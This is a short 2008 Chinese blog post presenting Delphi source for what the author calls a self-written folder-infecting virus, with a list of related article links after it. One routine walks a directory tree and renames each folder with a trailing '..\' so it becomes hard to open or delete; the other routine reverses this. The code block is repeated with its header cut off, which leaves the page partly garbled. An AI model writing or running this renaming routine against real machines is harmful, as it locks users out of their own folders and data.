自己编写的一个感染文件夹的小病毒
2008-11-24 11:08
387 查看
感染函数procedure TForm1.EnCrypt(pPath:string);
var
lCount,i:Integer;
lNewName,lFileName:string;
lStringList:TStringList;
begin
lStringList:=GetDirTreeList(pPath);
lCount:=lStringList.Count-1; for i:=lCount downto 0 do
begin
lFileName:=lStringList.Strings[i];
lNewName:=lFileName+'..\';
if DirectoryExists(lFileName) then
begin
ReNameFile(lFileName,lNewName)
end;
end;
end;
杀毒函数procedure TForm1.DeCrypt(pPath: string);
var
lStringList:TStringList;
lNameLength,i:Integer;
lNewFileName,lOldFileName:string;
SearchRec:TSearchRec;
begin
lStringList:=TStringList.Create;
lStringList:=GetDirTreeList(pPath);
for i := 0 to lStringList.Count-1 do
begin
lOldFileName:=lStringList.Strings[i]+'.\';
lNameLength:=Length(lOldFileName);
lNewFileName:=Copy(lOldFileName,1,lNameLength-3);
ReNameFile(lOldFileName,lNewFileName);
DeCrypt(lNewFileName);
end;
end;本文出自 “delphi研究” 博客,请务必保留此出处http://bigpower.blog.51cto.com/209892/114715
var
lCount,i:Integer;
lNewName,lFileName:string;
lStringList:TStringList;
begin
lStringList:=GetDirTreeList(pPath);
lCount:=lStringList.Count-1; for i:=lCount downto 0 do
begin
lFileName:=lStringList.Strings[i];
lNewName:=lFileName+'..\';
if DirectoryExists(lFileName) then
begin
ReNameFile(lFileName,lNewName)
end;
end;
end;
杀毒函数procedure TForm1.DeCrypt(pPath: string);
var
lStringList:TStringList;
lNameLength,i:Integer;
lNewFileName,lOldFileName:string;
SearchRec:TSearchRec;
begin
lStringList:=TStringList.Create;
lStringList:=GetDirTreeList(pPath);
for i := 0 to lStringList.Count-1 do
begin
lOldFileName:=lStringList.Strings[i]+'.\';
lNameLength:=Length(lOldFileName);
lNewFileName:=Copy(lOldFileName,1,lNameLength-3);
ReNameFile(lOldFileName,lNewFileName);
DeCrypt(lNewFileName);
end;
end;本文出自 “delphi研究” 博客,请务必保留此出处http://bigpower.blog.51cto.com/209892/114715
相关文章推荐
- 自己动手编写一个简单的who命令(不带参数)
- 朋友的一个问题:Linux开机如何自动运行自己编写好的shell脚本
- 自己动手编写一个VS插件(一)
- ABAP 自己定义一个长文本TEXT的编写、保存
- 自己编写的一个基于java的socket网络聊天程序
- 今天我编写了自己的第一个病毒
- OpenGL织梦之旅【第四章】编写一个自己的小剧场
- Java之编写一个自己的加载器
- 为自己的属性编写一个编辑器
- 一个想了好几天的问题——关于8086cpu自己编写9号中断不能单步的问题
- 解决U盘感染病毒后所有文件及文件夹被隐藏的方法
- 自己编写的一个Json工具类,实现了反射将整个Object转换为Json对象的功能,支持Hibernate的延迟加载对象
- 一个自己编写的简单AC自动机代码-----AC automata get √
- 编写一个函数,能输出文件夹下的文件列表,文件名通过控制台输入
- 编写一个程序,开启3个线程,这3个线程的ID分别为A、B、C,每个线程将自己的ID在屏幕上打印10遍,要求输出结果必须按ABC的顺序显示;如:ABCABC….依次递推
- 编写一个SHELL脚本,可以获得指定目录下的所有文件及文件夹的大小。输出的样式与 ls -lh 命令相同。
- 自己编写能删除各种病毒尸体文件的利器
- 编写一个程序,开启3个线程,这3个线程的ID分别为A、B、C,每个线程将自己的ID在屏幕上打印10遍
- 编写一个程序,开启3个线程,这3个线程的ID分别为A、B、C,每个线程将自己的ID在屏幕上打印10遍,要求输出结果必须按ABC的顺序显示;如:ABCABC….依次递推。
- 自己动手编写一个VS插件(三)——创建工具栏之一